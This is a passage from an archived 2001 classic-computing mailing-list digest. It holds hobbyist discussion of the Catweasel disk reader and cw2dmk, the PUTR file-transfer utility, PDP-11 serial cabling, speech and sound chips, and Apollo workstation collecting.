server at http://vunic.retrocomputing.com (coming soon) for the purpose of distributing news, documentation and software of interest to VUNIC/VUnet users. VUnet will operate both dialup and Internet connected UUCP servers for the purpose of facilitating transport of mail, news and files for those who are unable to find another method by which to connect. INSTIGATOR(S) VUNIC is the product of the twisted brain of Anthony Clifton, retrocomputerist, unix system administrator and general weirdo. You can find Anthony on the web at http://www.iowanetworking.com or via email at clifton@iowanetworking.com. From tim.mann at compaq.com Thu Jun 14 22:17:55 2001 From: tim.mann at compaq.com (tim.mann@compaq.com) Date: Sun Feb 27 19:04:31 2005 Subject: cw2dmk 1.6: now does RX02 also In-Reply-To: <3B295ECD.19F8BDA6@idirect.com> Message-ID: <200106150317.f5F3HtV398662@pachyderm.pa.dec.com> Here are some answers. > >tim.mann@compaq.com wrote: > > > I've updated the cw2dmk program to version 1.6. This is a program that > > uses the Catweasel ISA disk controller to read disk formats that are hard > > or impossible to read with an ordinary PC floppy disk controller. The > > new version adds a few features, among them the ability to read the DEC > > RX02 double density format. See http://www.tim-mann.org/trs80resources.html > > Jerome Fine replies: > > When you mentioned the Catweasel ISA disk controller and compared it to an > ordinary PC floppy disk controller, it sounds like you are suggesting that > it can run on an ordinary PC? Am I correct in this assumption? It plugs into the PC's ISA bus. Please see the Web page I pointed to above, and the Catweasel links off of it, for more information. > If so, > is a special driver also required or does the cw2dmk program do everything? The cw2dmk program talks directly to the Catweasel hardware; no other driver is used. There are also various other programs/drivers available for the Catweasel to read other kinds of disks (not from me). > Also, a rather important question, which floppy drive is used? Basically any standard floppy drive that is physically capable of accepting the disk and stepping the head to the tracks. Any standard 8" drive should work for real RX02 disks, for instance. By the way, the disks I've actually tested the RX02 support on are in a slightly modified RX02 format that uses both sides of an 80-track 5.25" floppy. The encoding is the same unique FM/MFM combination as original 8" RX02 disks, but at half the bit rate. Sectors 1-13 are on the front, 14-26 on the back. They read fine in the standard 5.25" PC drive that I used (a Teac FD-55GFR). I do have a real 8" drive (Shugart 850) and have used it to read TRS-80 Model II disks with cw2dmk, but I don't have any 8" RX02 disks to try in it. However, if you wanted to mail me a couple, I'd be glad to try reading them to verify that it works. Contact me off-list. You need a 34- to 50-pin adapter cable to plug an 8" drive into a Catweasel. I made mine based on the diagrams in the CP/M FAQ; see http://users.breathemail.net/trevor_gowen/cpm/cpm_faq.htm If you aren't even enough of a hardware person to be comfortable making up such a cable, you could try the premade adaptor sold by D Bit: http://www.dbit.com/fdadap.html > I understand that no ordinary PC floppy disk controller/drive drive is able to > read/write the DEC RX02 "double density format" since it is really only a > single density header followed by double density data - or something similar. Right. The Catweasel not a normal PC floppy disk controller; it's a sampler. With the proper software, it can read just about anything. > It is my understanding that there were third party Qbus controllers which > used Calcomp 8" floppy drives and that even the DEC RX02 controller > could use the Calcomp drive and be double sided. Is that possible with > the cw2dmk program, namely is an 8" RX03 double-density double-sided > (DSDD) floppy possible? Yes, it can read both sides if you have a double-sided 8" drive (mine is). Note that I haven't yet written a program to *write* disks with the Catweasel, though the hardware has support for it. > > Source code is included under the GPL, so those who prefer to build their > > own hardware instead of buying a Catweasel (let's not start *that* debate > > again) may find it of some use too. > > Since I am not a hardware type, where can I find the Catweasel controller See links on my Web page to the manufacturer and a couple of other places you can buy them. > and > a floppy drive so I can read 8" floppy RX02 diskettes on the PC - assuming > that my understanding is correct? And please also help with my question as > to DSDD floppies since more than half of my 8" floppies are DSDD - I used > a DSD 880/30 (Data Systems Design) system on my PDP-11 Qbus system > and modified the driver under RT-11 to also use the other side of the floppy > in the DYX.SYS device driver as well as adding a bounce buffer so that DYX.SYS > could be used under the 22 bit address range of the V5.0x versions of RT-11. I think I've covered these questions above. > Thanks in advance for any help. I use the PC that I have available to me > most of > the time now when I run RT-11, so being able to access the 8" floppies would > be > a big plus if this is possible. Note that cw2dmk just makes an image file of the data (and formatting information) on the disk. You'll have to write a bit more code to transform that file into a format that's useful on your PC. That shouldn't be hard. Tim Mann tim.mann@compaq.com http://www.tim-mann.org Compaq Computer Corporation, Systems Research Center, Palo Alto, CA From rhblake at bigfoot.com Thu Jun 14 22:33:33 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:31 2005 Subject: More books on ebay of possible interest to list Message-ID: Set of 7 older programming books - http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1246977576 ==================================================== Also I have a few "odd" books off-ebay - one lot.... GW BASIC and MSDOS softcover books from a Video Technologies 286. One of each, both each baout 280 pages and (c) 1986 Miscrosoft GW-BASIC User's Guide and User's Reference for Phoenix Computer, softcover about 275 pages. 1986 IBM BASIC 3.0 in original slip case box. No software, just manual in 3 ring binder in slip case. Xerox 6060 Family - Operator's Guide to MSDOS. Also in slip case with no software. 1985 IBM Disk Operating System v 3.10 - again in slip case, notebook manual but no software. The set of 6 off-ebay books are together. I need $10 plus USPS for them, either thru Paypal or money order. First come - first serve. Drop me an email direct on these. From reyes at orion.ae.utexas.edu Thu Jun 14 23:02:27 2001 From: reyes at orion.ae.utexas.edu (Reuben Reyes) Date: Sun Feb 27 19:04:31 2005 Subject: FYI: Digital MINC-23 Message-ID: If i had room i would be bidding on this, does anyone know what year this type of unit came out and for how long did DIGITAL make them. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1606604589 Reuben From wilson at dbit.com Thu Jun 14 23:54:55 2001 From: wilson at dbit.com (John Wilson) Date: Sun Feb 27 19:04:31 2005 Subject: PUTR V2.0 (and ST V1.1) Message-ID: <200106150454.f5F4stW23403@dbit.dbit.com> At long last (three years since V1.28), new version of PUTR.COM is now available from: http://www.dbit.com/putr/ -or- ftp://ftp.bit.com/pub/putr/ PUTR (Peripheral Utility Transfer Routines) is a file transfer utility which runs under DOS (or in a DOS session) and can exchange files and/or disk images with DEC file systems and/or media. It has a simple command language which feels sort of like a stripped-down DOS command interpreter, but extended so that files on PDP-8 and/or PDP-11 volumes may be accessed the same way as native DOS files, using familiar commands like DIR, TYPE, COPY, DELETE, etc. It also can perform more basic functions, like formating DEC-style floppies, and copying container files to or from real disks. It supports most of the major PDP-8 and PDP-11 file structures (although the Files-11 support is currently read-only), and a bunch of minor ones too. Volumes may be located in PC container files, on PDP-8/PDP-11 floppies (most DEC formats, including SSSD 8" disks on a suitably equipped PC), raw SCSI drives (including Zip and MO), TU58 cartridge tapes (connected through a COM port), and raw CDs. As always, MAKE A BACKUP OF YOUR DATA BEFORE USING PUTR ON IT. PUTR V2.0 has many brand new features which have been tested by only one person, so you may find ways to trip it up that I wouldn't have thought of, and in any case it always makes sense to be unusually cautious when writing on a foreign file system. You have been warned! New features since previous version (V1.28, 06/11/1998): * Reads Files-11 disks (RSX, IAS, P/OS). * Reads TSS/8.24 disks. * Reads/writes RSTS/E disks (RSTS support was read-only in V1.28). * Reads/writes DOS/BATCH disks. * Reads/writes XXDP+ disks. * Reads/writes TSS/8 DECtapes in PUTR.SAV format (but not COPY.SAV format). * Many new disk drive types (RAxx, RDxx, RMxx, RPxx). * Image file sizes over usual 2 GB DOS limit (on FAT32 systems only), up to (almost) 4 GB. * Raw CD-ROMs may be accessed through MSCDEX (used to support SCSI CDs only), on real DOS anyway (Windows 95/98 MSCDEX emulation is buggy). * FORMAT /MSCP command now accepts BLOCKS, MB etc. keywords in file size (so you don't need a calculator to convert blocks to bytes). * Bugs fixed. ---------- Also, a new version of the "ST.EXE" SCSI tape utility is now at: ftp://ftp.dbit.com/pub/ibmpc/util/st.exe -and- ftp://ftp.dbit.com/pub/ibmpc/util/st.txt This is a simple utility for manipulating SCSI tapes, including DEC TZ30 and TK50Z-GA tape drives, SCSI 9-track drives, and other tapes with 9-track-ish semantics, like DLT or 4 mm DAT. It provides many of the same basic commands as the UNIX "mt" utility (space N records in either direction, write a tape mark, rewind, etc.), but also has IGET and IPUT commands which copy between a real tape, and a tape image file in Ersatz-11's format (which is also used by some other emulators). Changes since V1.0: * IGET and IPUT now take an optional record length parameter. If this value is specified, then the image file is assumed *not* to contain blocking information and all bytes are treated as data, at the specified fixed record length (so it works like the UNIX "dd" utility). * Source code is now available. John Wilson D Bit From mikeford at socal.rr.com Fri Jun 15 00:21:52 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:31 2005 Subject: Corona desktop in Socal In-Reply-To: <7F10FDF1B85CD411A52200508BAE319B1FAC2E@pgimail.pgillc.com> Message-ID: I found a Corona desktop computer at the scrap yard today and set it aside, thinking somebody on the list likes Corona. All I have seen so far is the CPU with two internal 5.25 floppies, but its in very nice condition. Contact me directly if interested, general comments to the list. I also found a couple CPM books, one is Rodney Zaks CPM and MPM. From mikeford at socal.rr.com Fri Jun 15 00:27:11 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:31 2005 Subject: Sound chips In-Reply-To: References: <1366.564T2250T2785723optimus@canit.se> <1366.564T2250T2785723optimus@canit.se> Message-ID: >>BTW, I must add that the PSG chips are really pathetic in comparison to the >>SID. I suppose they beat the Atari's Pokey, though. =) > > For 1978, the Atari Pokey (as well as the Antic and >CTIA/GTIA) were pretty advanced. BTW I have a friend that fixes Atari stuff and in ALWAYS hunting for either POKEY or Antic chips, so let me know if anybody has a bunch of knows of any. From fernande at internet1.net Fri Jun 15 00:40:18 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:31 2005 Subject: OT - F-15C Cockpit [was Enigma [was Ebay horror]] References: Message-ID: <3B299FC2.A32BA65@internet1.net> I guess I don't understand this.... a school ended up with an empty case? So what? Couldn't they tell it was empty by weight? Chad Fernandez Michigan, USA McFadden, Mike wrote: > > Maybe an Enigma could end up in the trash. > > There are amazing thing that end up in the trash by accident, Between 1977 > and 1983 when I worked at McDonnell-Douglas a cruise missile case ended up > at a high school shop class, they received the leftover wood crates. It was > locked and nobody was sure if there was a missile inside. Of course the > cases and the missiles were serial numbered. The company hadn't reported > any missing and all were accounted for. Of course nobody actually visually > counted them. Everybody believed it was a hoax until the school brought the > case to the plant and then heads rolled. Actually only an empty case. I've > heard that small military items, weapons, occasionally disappear because > they are never visually counted only accounted for in the computer. > > Never blame a human blame it on the computer. > Mike > mmcfadden@cmh.edu From wonko at tmok.com Fri Jun 15 01:13:54 2001 From: wonko at tmok.com (Brian Hechinger) Date: Sun Feb 27 19:04:31 2005 Subject: FYI: Digital MINC-23 In-Reply-To: ; from Reuben Reyes on Thu, Jun 14, 2001 at 11:02:27PM -0500 References: Message-ID: <20010615021354.U32439@tmok.com> On Thu, Jun 14, 2001 at 11:02:27PM -0500, Reuben Reyes wrote: > > If i had room i would be bidding on this, does anyone know > what year this type of unit came out and for how long did > DIGITAL make them. i never found very much out about mine. i had two, one was a minc-23 and the other was a minc-11. the minc-11 was an LSI cpu board and the minc-23 was a standard PDP-11 CPu board (don't remember what model) with a very small qbus (only double wide, like 4 slots or so) that had enough room for the CPU/memory and the GPIBs that were hooked up to all the stuff on the front. mine weren't in the cart thing, i didn't have the disks, just the "main" box. interesting little things, i was really interested in trying to get an OS on them, but never got around to it. the cases ended up in the garage that caught fire and burned (taking a VAX 11/730 and a slew of sun2 and sun3 hardware with it) but i still have most of the boards from them (which were in the house getting inspected). just a warning, it's been years since i've even _THOUGHT_ about those things, so there is a very good chance that i'm not right on some (or all) of the information. -brian From GOOI at oce.nl Fri Jun 15 01:52:20 2001 From: GOOI at oce.nl (Gooijen H) Date: Sun Feb 27 19:04:31 2005 Subject: Questions regarding a PDP11/34a Message-ID: Hello Sean. Ok. I'm back. Sorry for the silly question of which DL11 board you have. You mentioned it in the board list. Anyway, here's how I have connected the M7856 to a VT220 (EIA, RS-232C). +------------------+ |.(B) ...... (VV).| |/ |.(A) ..... (UU).| | =====================================================|\ == (viewing the edge of the M7856 where the BERG connected is) The lower righthand side pin (closest to the board is A. Right above it is pin B. At the lower lefthand side, the pin closest to the board is UU, and above it is VV. Then, the alphabet on the BERG connector is as follows. B D F J L N R T V X Z BB DD FF JJ LL NN RR TT VV A C E H K M P S U W Y AA CC EE HH KK MM PP SS UU The following wires run from the BERG connector to the DB25 connector I have at home (forgot to write down if it is male or female). Also, because I made it fit to a longer wire with DB25's at both ends it *_might_* be a null-modem cable.... BERG DB25 =================== VV | 7 DD | 20 V | 4 J | 2 F | 3 Further, a small wire connects (E) to (M) on the BERG connector. BTW. My 11/35 has an BM872. It is a boot card (dual) with diodes on it to form a matrix addresslines/datalines. So, you can solder your bootstrap program's zeroes and ones in real hardware :) Success, Henk. From jrasite at eoni.com Fri Jun 15 01:56:10 2001 From: jrasite at eoni.com (Jim Arnott) Date: Sun Feb 27 19:04:31 2005 Subject: OT - F-15C Cockpit [was Enigma [was Ebay horror]] References: <3B299FC2.A32BA65@internet1.net> Message-ID: <3B29B187.41BF35AD@eoni.com> While we're discussing lost Cruise Missiles I'll add another true tale. In mid '86 I was working for the contractor that developed the Tomahawk. During a building renovation the Mexican demolition crew took a load of demo to a scrapyard in Tijuana. In the load was one of the Williams turbofan motors (Value? about $150k). Took industrial security almost a week to find it. Only person diciplined was the plant protection guard that let it out. He got three days off. Jim From jkunz at unixag-kl.fh-kl.de Fri Jun 15 02:03:54 2001 From: jkunz at unixag-kl.fh-kl.de (jkunz@unixag-kl.fh-kl.de) Date: Sun Feb 27 19:04:31 2005 Subject: Questions regarding a PDP11/34a In-Reply-To: <00b401c0f52e$dd0ea880$8a0101ac@ibm23xhr06> Message-ID: <200106150703.JAA07232@unixag-kl.fh-kl.de> On 14 Jun, John Allain wrote: >> I remember someone asking about loading software over a serial line? > Thinking I had on the subject is that it would be trivial, > given the 11's console abilities (set address, deposit byte) > to take machine code and have a PC program turn it into a > stream of Deposit instructions, There is already a program that does sonthing like this: ftp://minnie.cs.adfa.oz.au/pub/PDP-11/Vtserver If you only need to push some bootstrap into the machine, a terminal emulator like kermit(1) or minicom(1) with a script (sed(1) is your friend) will work well. -- tsch??, Jochen Homepage: http://www.unixag-kl.fh-kl.de/~jkunz/ From foo at siconic.com Fri Jun 15 05:11:24 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:31 2005 Subject: OT - F-15C Cockpit [was Enigma [was Ebay horror]] In-Reply-To: <3B29B187.41BF35AD@eoni.com> Message-ID: On Thu, 14 Jun 2001, Jim Arnott wrote: > While we're discussing lost Cruise Missiles I'll add another true tale. > > In mid '86 I was working for the contractor that developed the Tomahawk. > During a building renovation the Mexican demolition crew took a load of > demo to a scrapyard in Tijuana. In the load was one of the Williams > turbofan motors (Value? about $150k). Took industrial security almost a > week to find it. Only person diciplined was the plant protection guard > that let it out. He got three days off. When you figure that all it was going to end up doing was help something kill or maim someone and be destroyed in the process then I suppose the punishment shouldn't have been any more severe :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From kees.stravers at iae.nl Fri Jun 15 06:31:46 2001 From: kees.stravers at iae.nl (kees.stravers@iae.nl) Date: Sun Feb 27 19:04:31 2005 Subject: Questions regarding a PDP11/34a Message-ID: <20010615113146.7494620FC5@mail.iae.nl> On 2001-06-14 classiccmp@classiccmp.org said to kees.stravers@iae.nl >> I remember someone asking about loading software over a serial line >Thinking I had on the subject is that it would be trivial, >given the 11's console abilities (set address, deposit byte) >to take machine code and have a PC program turn it into a >stream of Deposit instructions, heck it could be a 'vi' macro. You might want to take a look at VTserver, a program used to install Ultrix-11 on an empty PDP-11 via the console port and one regular serial line. The source is available. ftp://minnie.tuhs.org/pub/PDP-11/Vtserver/ A WIN32 version of VTserver is at http://users.safeaccess.com/engdahl/software.htm The program is still very much in development. Kees. -- Kees Stravers - Geldrop, The Netherlands - kees.stravers@iae.nl http://www.iae.nl/users/pb0aia/ My home page (old computers,music,photography) http://www.vaxarchive.org/ Info on old DEC VAX computers (Mirrors: http://vaxarchive.khubla.com/ and http://vaxarchive.sevensages.org/) Net-Tamer V 1.08.1 - Registered From dhquebbeman at theestopinalgroup.com Fri Jun 15 07:15:42 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:31 2005 Subject: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715117A@jeffserver.tegjeff.com> > On Thu, 14 Jun 2001, John Allain wrote: > > > Yeah, that guy was Tom Perera, and he's like the Behemoth bike guy, > > Steve Roberts... They're both legendary and are 'no can miss' when > > they show at your Flea. I've seen Tom in Boston so he gets around. > > Maybe they both should put out tour schedules! > > By the way, Steve Roberts' bike is in the Computer Museum History Center > now. He wrote a book about his travels called "Computing Across America". > I just scored another copy of it (autographed :) at a thrift store. Steve started out (well, he may have started elsewhere) in Louisville, Kentucky, where he ran a business called CyberTronics, an electronics parts place. They sold some kits, like S-100 boards too, but I was buying parts to build my SOL-PC. It's been fun to keep track of his travels over the years. -dq From dhquebbeman at theestopinalgroup.com Fri Jun 15 07:09:45 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:31 2005 Subject: Does anyone collect Apollo workstations? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151179@jeffserver.tegjeff.com> > Are DN300's or a DN330 of any interest? > > The DN3XX machines have a nice external drive box that features a half-height > 8-inch floppy, probably DSDD. I have a number of these, along with the 8 inch > winchester disks. Aren't they a little old and slow? > What about the DN660? (thats a cool Apollo!) Plays an > awesome game of battle zone! > > Or the DN3000, DN3500, DN4000 style machines? I've got a DN2500 and two 425t stations that can connect to it. I haven't had time to dig deeply enough to determine whether it has any games on it or not. I have a full set of Domain/OS 10.4 tapes, but 10.4.1 is running on it now. I've been able to rrad and write to both my 8mm drive and a DC600-type cartridge drive. But tere doesn't seem to be a way to write boot tapes on the 8mm, and although I can write boot tapes on the cartridges, I can seem to boot from them. I'd like to be certain I've got a really complete backup before I start messing around with it too much. I have one Apollo monitor, one HP; the 3 machines all have Ethernet cards, but the Apollo Token Ring cards and switchboxes and cables all came with the systems. I have three of the newer-styled keyboards and mice for them (the original Logitech Mouse), but the DN2500 originally had a different keyboard. The DN2500 is missing the little door that closes over the service panel. I have no printed documentation, and would really like to have some. I also downloaded all the patches from HP's web site as they've implied the site will soon disappear. Feel free to drop me a message privately if you want to chat. Regards, -doug quebbeman From edick at idcomm.com Fri Jun 15 07:47:56 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:31 2005 Subject: Sound chips References: Message-ID: <002601c0f599$66c594c0$9cc762d8@idcomm.com> Back in the early '80's they sold that speech chip in a blister pack. I think the crux was getting the 3.12 MHz (I remember that only because getting one was such a PITA) crystal, though, for which the device was specified, and which had to come from somewhere else at the time. Aside from having to translate the timing intervals, I think a color-burst crystal would probably work with this device, though. A 10-12% increase in pitch wouldn't make much difference as far as intellibility is concerned. Dick ----- Original Message ----- From: "Jeff Hellige" To: Sent: Thursday, June 14, 2001 6:55 PM Subject: Re: Sound chips > >Incidentally, Tandy/Radio Shack sold a speech/sound cartridge for the > >CoCo. It contained a microcontroller, an SPO256 speech chip and an > >AY-3-891x sound chip. > > Didn't they sell the SPO256 alone, among all the other single > IC's? I know that even recently I've seen their 'speech chip' on the > shelf but have never bothered to notice exactly who's chip it is. > > Jeff > > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From wstan at localhostnl.demon.nl Fri Jun 15 10:33:52 2001 From: wstan at localhostnl.demon.nl (William Staniewicz) Date: Sun Feb 27 19:04:31 2005 Subject: Any Dutch/Belgium Collectors ? In-Reply-To: ; from GOOI@oce.nl on Wed, Jun 13, 2001 at 08:44:38AM +0200 References: Message-ID: <20010615153352.B574@localhostnl.demon.nl> Henk, Thank you for the url to your site. I don't have anything set up for computers yet because I only have 2 now. Still waiting on delivery of the 7 Apollo's. On Wed, Jun 13, 2001 at 08:44:38AM +0200, Gooijen H wrote: > Hi. > > I am here every workday, though I am not a frequent > contributor compared to many others. > If you want to see something of my collection, check > http://home.12move.nl/~sh416008 > > I uploaded yesterday some new stuff, mainly PDP-11/34A. > As many others, the site is under construction. > > Groeten / kind regards -- Bill William Staniewicz Amsterdam, NL From wstan at localhostnl.demon.nl Fri Jun 15 10:34:00 2001 From: wstan at localhostnl.demon.nl (William Staniewicz) Date: Sun Feb 27 19:04:31 2005 Subject: Does anyone collect Apollo workstations? In-Reply-To: <3B295ECC.5DFAE2BF@tiac.net>; from bshannon@tiac.net on Thu, Jun 14, 2001 at 09:03:08PM -0400 References: <1366.564T2250T2785723optimus@canit.se> <3B295ECC.5DFAE2BF@tiac.net> Message-ID: <20010615153400.C574@localhostnl.demon.nl> I have one DN3010 presently. I am expecting delivery on 7 more Apollo DN3500's. This is my first experience putting together a collection. My decision was to stick to one make of computer so as to get to know it real well. It's nice to hear of other Apollo collectors out there, too. On Thu, Jun 14, 2001 at 09:03:08PM -0400, Bob Shannon wrote: > Are DN300's or a DN330 of any interest? > > The DN3XX machines have a nice external drive box that features a half-height > 8-inch floppy, probably DSDD. I have a number of these, along with the 8 inch > winchester disks. > > What about the DN660? (thats a cool Apollo!) Plays an awesome game of battle > zone! > > Or the DN3000, DN3500, DN4000 style machines? > > -- Bill William Staniewicz Amsterdam, NL From aeb56 at bigfoot.com Fri Jun 15 08:40:35 2001 From: aeb56 at bigfoot.com (Alice Blakeman) Date: Sun Feb 27 19:04:31 2005 Subject: Sound chips In-Reply-To: <002601c0f599$66c594c0$9cc762d8@idcomm.com> Message-ID: They may very well still sell it. I built a parallel port speech sythethiser from one and plans from one of the then popular computer or electronics magazines. I may even have it still in one the boxes that I packed way back and haven't since opened. It had the same phonetics system as some of the SoundBlaster chips and had the same monotone speak that the old Dr. SBaitso and that Hawkings' synth have. Nonetheless it was cool to hear speech from my 8088 then. -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Richard Erlacher Sent: Friday, June 15, 2001 7:48 AM To: classiccmp@classiccmp.org Subject: Re: Sound chips Back in the early '80's they sold that speech chip in a blister pack. I think the crux was getting the 3.12 MHz (I remember that only because getting one was such a PITA) crystal, though, for which the device was specified, and which had to come from somewhere else at the time. Aside from having to translate the timing intervals, I think a color-burst crystal would probably work with this device, though. A 10-12% increase in pitch wouldn't make much difference as far as intellibility is concerned. Dick ----- Original Message ----- From: "Jeff Hellige" To: Sent: Thursday, June 14, 2001 6:55 PM Subject: Re: Sound chips > >Incidentally, Tandy/Radio Shack sold a speech/sound cartridge for the > >CoCo. It contained a microcontroller, an SPO256 speech chip and an > >AY-3-891x sound chip. > > Didn't they sell the SPO256 alone, among all the other single > IC's? I know that even recently I've seen their 'speech chip' on the > shelf but have never bothered to notice exactly who's chip it is. > > Jeff > > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From mtapley at swri.edu Fri Jun 15 08:24:50 2001 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 19:04:31 2005 Subject: VAX Hobbyist licenses In-Reply-To: <200106131818.NAA80845@opal.tseinc.com> Message-ID: All, Encompass sent me my "Encompass Membership ID" by email last night. (I'm a new member.) Next week I'll try to license my CD for the VAX. The wheels do turn, if slowly. - Mark From dhquebbeman at theestopinalgroup.com Fri Jun 15 09:28:38 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:31 2005 Subject: Does anyone collect Apollo workstations? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715117F@jeffserver.tegjeff.com> > I have one DN3010 presently. I am expecting delivery on > 7 more Apollo DN3500's. This is my first experience > putting together a collection. My decision was to > stick to one make of computer so as to get to know > it real well. > > It's nice to hear of other Apollo collectors out there, too. What kind of peripherals do you have? Did any of your systems have the Apollo version of AutoCAD? -dq From wstan at localhostnl.demon.nl Fri Jun 15 11:54:36 2001 From: wstan at localhostnl.demon.nl (William Staniewicz) Date: Sun Feb 27 19:04:31 2005 Subject: Does anyone collect Apollo workstations? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD3715117F@jeffserver.tegjeff.com>; from dhquebbeman@theestopinalgroup.com on Fri, Jun 15, 2001 at 10:28:38AM -0400 References: <7A9BACCEF0171D4FB77019F5104CDD3715117F@jeffserver.tegjeff.com> Message-ID: <20010615165436.A959@localhostnl.demon.nl> The DN3010 I have running now is very minimal in terms of hardware. It has a 19 inch monitor and mouse and that's about it. At one point I thought I was going to acquire a DN10000. That arrangement never went through. I don't have any detail on the DN3500's being shipped here. I will know the condition when I open up the box. It would be nice to have AutoCAD. Hopefully, there will be something cool on one of the 7 machines. On Fri, Jun 15, 2001 at 10:28:38AM -0400, Douglas Quebbeman wrote: > > What kind of peripherals do you have? Did any of > your systems have the Apollo version of AutoCAD? -- Bill William Staniewicz Amsterdam, NL From edick at idcomm.com Fri Jun 15 10:30:43 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:31 2005 Subject: Sound chips References: Message-ID: <002c01c0f5b0$243b7720$9cc762d8@idcomm.com> I've got a salvaged "set" if you can call it that, of the NSC Digitalker chips, i.e. a 40-pin "B218DIGITALKER" and a ROM presumably designed for the specific application, which, in this case, was a security system, for which this device was the telephone interface that called the authorities or someone when an intrusion was detected. I once intended to use it for something similar to what was done with that SPO256 speech chip that Radio Shack made popular, but didn't get around to it. If anyone's interested, I'll happily send the pair + associated 4 MHz crystal, to whoever wants to pay the postage. (USPS Priority Mail = $3.50). This was part of a microcontroller (COP444L) based board that had an RF interface common in many building-security systems of the early '80's working not unlike a garage door opener, and a built in phone-line interface, though no modem was needed since the interface was audio. These boards all had a common flaw, i.e. a capacitor in the phone line interface that was broken open. That presumably had no effect on the integrity of the voice generation circuitry, as it was buffered with an LM386 amplifier. Dick ----- Original Message ----- From: "Alice Blakeman" To: Sent: Friday, June 15, 2001 7:40 AM Subject: RE: Sound chips > They may very well still sell it. I built a parallel port speech sythethiser > from one and plans from one of the then popular computer or electronics > magazines. I may even have it still in one the boxes that I packed way back > and haven't since opened. It had the same phonetics system as some of the > SoundBlaster chips and had the same monotone speak that the old Dr. SBaitso > and that Hawkings' synth have. Nonetheless it was cool to hear speech from > my 8088 then. > > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Richard Erlacher > Sent: Friday, June 15, 2001 7:48 AM > To: classiccmp@classiccmp.org > Subject: Re: Sound chips > > > Back in the early '80's they sold that speech chip in a blister pack. I > think > the crux was getting the 3.12 MHz (I remember that only because getting one > was > such a PITA) crystal, though, for which the device was specified, and which > had > to come from somewhere else at the time. Aside from having to translate the > timing intervals, I think a color-burst crystal would probably work with > this > device, though. A 10-12% increase in pitch wouldn't make much difference as > far > as intellibility is concerned. > > Dick > ----- Original Message ----- > From: "Jeff Hellige" > To: > Sent: Thursday, June 14, 2001 6:55 PM > Subject: Re: Sound chips > > > > >Incidentally, Tandy/Radio Shack sold a speech/sound cartridge for the > > >CoCo. It contained a microcontroller, an SPO256 speech chip and an > > >AY-3-891x sound chip. > > > > Didn't they sell the SPO256 alone, among all the other single > > IC's? I know that even recently I've seen their 'speech chip' on the > > shelf but have never bothered to notice exactly who's chip it is. > > > > Jeff > > > > -- > > Collector of Classic Microcomputers and Video Game Systems: > > Home of the TRS-80 Model 2000 FAQ File > > http://www.geocities.com/siliconvalley/lakes/6757 > > > > > > From dhquebbeman at theestopinalgroup.com Fri Jun 15 10:42:47 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:31 2005 Subject: Does anyone collect Apollo workstations? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151186@jeffserver.tegjeff.com> > The DN3010 I have running now is very minimal in terms of > hardware. It has a 19 inch monitor and mouse and that's > about it. At one point I thought I was going to acquire > a DN10000. That arrangement never went through. I'd like one of these, as well... > I don't have any detail on the DN3500's being shipped > here. I will know the condition when I open up the box. I look forward to your report! > It would be nice to have AutoCAD. Hopefully, there will be > something cool on one of the 7 machines. -dq From chomko at greenbelt.com Fri Jun 15 10:38:22 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:31 2005 Subject: Does anyone collect Apollo workstations? References: <7A9BACCEF0171D4FB77019F5104CDD37151179@jeffserver.tegjeff.com> Message-ID: <3B2A2BEE.D785B818@greenbelt.com> Douglas Quebbeman wrote: > > Are DN300's or a DN330 of any interest? > > > > The DN3XX machines have a nice external drive box that features a > half-height > > 8-inch floppy, probably DSDD. I have a number of these, along with the 8 > inch > > winchester disks. > > Aren't they a little old and slow? > So are most of us on this board. What's your point? Eric From healyzh at aracnet.com Fri Jun 15 11:16:57 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:31 2005 Subject: Test Message-ID: This is a test message. Trying to find out if my ISP has their DNS back :^( Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From xds_sigma7 at hotmail.com Fri Jun 15 11:05:31 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:04:31 2005 Subject: Does anyone collect Apollo workstations? Message-ID: BLAH! I want every last damn model of Apollo there is! Apart from the HP 9000's that just say Apollo on them anyway... I've stayed with one of Apollo's founders and those computers are my dad's favorite of all time... I especially want a DN10000 though.. Will J _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From John.Honniball at uwe.ac.uk Fri Jun 15 11:19:07 2001 From: 